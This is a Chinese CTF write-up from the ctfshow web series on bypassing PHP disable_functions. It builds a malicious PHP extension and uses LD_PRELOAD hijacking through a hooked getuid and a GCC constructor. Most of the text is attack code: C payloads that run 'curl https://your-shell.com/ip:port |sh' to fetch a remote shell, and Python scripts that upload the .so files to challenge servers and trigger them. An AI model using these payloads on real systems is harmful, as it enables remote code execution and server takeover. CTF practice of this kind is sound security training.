接上一篇继续记录ctfshow web入门常用姿势 嗝
先来看一下php.ini配置文件
我们是可以自定义扩展的
extension_dir="D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext"
; If your scripts have to deal with files from Macintosh systems,
; or you are running on a Mac and need to deal with files from
; unix or win32 systems, setting this flag will cause PHP to
; automatically detect the EOL character in those files so that
; fgets() and file() will work regardless of the source of the file.
; http://php.net/auto-detect-line-endings
;auto_detect_line_endings = Off
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
; If you wish to have an extension loaded automatically, use the following
; syntax:
;
; extension=modulename
;
; For example:
;
; extension=mysqli
;
; When the extension library to load is not located in the default extension
; directory, You may specify an absolute path to the library file:
;
; extension=/path/to/extension/mysqli.so
;
; Note : The syntax used in previous PHP versions ('extension=.so' and
; 'extension='php_<ext>.dll') is supported for legacy reasons and may be
; deprecated in a future PHP major version. So, when it is possible, please
; move to the new ('extension=<ext>) syntax.
phpinfo中默认扩展目录
(windows下为dll,linux下为so)以linux为例
进到默认扩展目录看一下
c语言编写的二进制so文件,声明函数并完成函数调用
php连接mysql
此处的mysqli类也是来自mysqli.so扩展
当php调用函数时,如果在注册函数中找不到就会去扩展目录中找
此时我们上传恶意so文件可以劫持函数
php disable_function禁用的是php函数,而恶意so中调用的是C语言库中的system函数
参考文章
https://www.bookstack.cn/read/php7-internal/7-extension_intro.md#7.3.4%20config.m4
config.m4是扩展的编译配置文件,它被include到configure.in文件中,最终被autoconf编译为configure,编写扩展时我们只需要在config.m4中修改配置即可,一个简单的扩展配置只需要包含以下内容:
PHP_ARG_WITH(扩展名称, for mytest support,
Make sure that the comment is aligned:
[ --with-扩展名称 Include xxx support])
if test "$PHP_扩展名称" != "no"; then
PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi
(1)PHP_ARG_WITH(arg_name,check message,help info): 定义一个–with-feature[=arg]这样的编译参数,调用的是autoconf的ACARG_WITH,这个宏有5个参数,常用的是前三个,分别表示:参数名、执行./configure是展示信息、执行—help时展示信息,第4个参数为默认值,如果不定义默认为”no”,通过这个宏定义的参数可以在config.m4中通过$PHP参数名(大写)
访问,比如:
PHP_ARG_WITH(aaa, aaa-configure, help aa)
#后面通过$PHP_AAA就可以读取到--with-aaa=xxx设置的值了
(2)PHP_ARG_ENABLE(arg_name,check message,help info): 定义一个–enable-feature[=arg]或–disable-feature参数,–disable-feature等价于–enable-feature=no,这个宏与PHP_ARG_WITH类似,通常情况下如果配置的参数需要额外的arg值会使用PHP_ARG_WITH,而如果不需要arg值,只用于开关配置则会使用PHP_ARG_ENABLE。
实操一下
config.m4
PHP_ARG_ENABLE(ctfshowBackdoor, ctfshowbackdoor test, [ --enable-ctfshowBackdoor Enable ctfshowBackdoor ext]) //扩展名可以和函数名不同 --enable-feature
if test "$PHP_CTFSHOWBACKDOOR" != "no"; then
PHP_NEW_EXTENSION(ctfshowBackdoor, ctfshowBackdoor.c, $ext_shared)
fi
以上定义扩展名:ctfshowBackdoor
扩展源码文件:ctfshowBackdoor.c
执行./configure是展示信息: ctfshowbackdoor test
开启方法:–enable-ctfshowBackdoor
ctfshowBackdoor.c
//包含php.h文件
#include
// 包含扩展文件
#include "ctfshowBackdoor.h"
// 将函数注册到php中,让php知道本模块中所包含的函数
zend_function_entry ctfshow_functions[] = { //此处是 函数名_functions[]
PHP_FE(ctfshow, NULL)//此处为函数名
{NULL, NULL, NULL}
};
// 关于整个模块的详细信息
zend_module_entry ctfshowBackdoor_module_entry = { //
STANDARD_MODULE_HEADER,//宏统一设置
PHP_CTFSHOWBACKDOOR_EXTNAME,//扩展名称
ctfshow_functions,//扩展的内部函数
NULL,
NULL,
NULL,
NULL,
NULL,
PHP_CTFSHOWBACKDOOR_VERSION,//扩展版本
STANDARD_MODULE_PROPERTIES//宏统一设置
};
// 提供一个接口给php来获取zend_module_entry 扩展名
ZEND_GET_MODULE(ctfshowBackdoor)
//下面就是函数的编写了,可以使用c语言来执行RCE了
PHP_FUNCTION(ctfshow) {
system(" evil command");
}
ctfshowBackdoor.h
// 定义模块常量
#define PHP_CTFSHOWBACKDOOR_EXTNAME "ctfshowBackdoor"
#define PHP_CTFSHOWBACKDOOR_VERSION "0.0.1"
// 声明模块的函数功能
PHP_FUNCTION(ctfshow);//此处是你想要生成的扩展函数
安装php-dev
在当前目录执行phpize 生成configure
准备php扩展安装的编译环境的。用于手动编译安装php扩展。
./configure --enable-ctfshowBackdoor
make&&make install
目录下就会出现ctfshowBackdoor.so
https://www.php.net/releases/ 下载对应版本的源码包
php ext_skel.php --ext ctfshow --author kidult --std
ctfshow.c修改两处
phpize
./configure
make && make install
后面试了一下发现版本不匹配
编译源码执行的phpize和当前环境中的phpize版本不匹配
https://blog.csdn.net/weixin_33809981/article/details/94487739
直接修改NO为 20180731 即可
make clean
phpize
./configure
make && make install
url="http://b9d3ace4-82e9-4097-a982-5f7981d97dea.challenge.ctf.show/"
data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run')
利用条件较为苛刻:
1.扩展目录可写
2.能载入恶意so(重启fpm或使用php命令行)
3.有调用自定义函数
(并非所有)
php启动新进程时,调用getuid来确认 进程属主(执行权限)
参考
https://www.anquanke.com/post/id/254388
https://download.qingteng.cn/frontendcdn/2019/06/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6-%E7%BB%95%E8%BF%87php%E7%9A%84disable_functions%EF%BC%88%E4%B8%8A%E7%AF%87%EF%BC%89.pdf
看id调用了哪些c语言库函数
编译同名函数进行劫持
注意进行unset(LD_PERLOAD)
避免进入死循环
#include
#include
#include
void payload() {
system("curl https://your-shell.com/ip:port |sh");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC getuid.c -o getuid.so
此时所有系统命令都会加载本so,执行命令速度无比缓慢
最后磕磕绊绊还是拿到了shell(本地试的)
write把恶意so写进去
content记得url编码一下 不然会有问题
靶机挂监听
http://c85684ee-46e1-4e68-bf9a-5ef6bc9bd209.challenge.ctf.show/?a=run&env=LD_PRELOAD=/tmp/whoami.so
产生新进程时 会调用getuid -->确定进程属主
814也可使用
产生新进程即使用
通用劫持方法 不用比对不同的函数
劫持构造器
构造器能自定函数
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数
参考:https://shadowfl0w.github.io/LD-PRELOAD%E5%AD%A6%E4%B9%A0/
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl https://your-shell.com/ip:port |sh");
}
gcc -shared -fPIC hack.c -o hack.so
url="http://50446e52-ba66-4dba-85ea-f3175c548c57.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('classic.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
1.目标系统可能禁用或者未安装sendmail
2.域名解析超时
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-26 14:19:44
# @Last Modified by: h1xa
# @Last Modified time: 2022-04-27 08:34:06
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
$env = $_GET['env'];
if(isset($env)){
putenv($env.scandir("/tmp")[2]);
system("echo ctfshow");
}else{
highlight_file(__FILE__);
}
tmp干净目录
同815使用构造器劫持即可
[2]索引我们传上去的临时文件
import requests
url="http://88b6cd4c-ef43-45ba-9baa-a19f882c5295.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={
'file':open('classic.so','rb').read()
}
r=requests.post(url=url,files=files)
水平不济 踩了很多坑…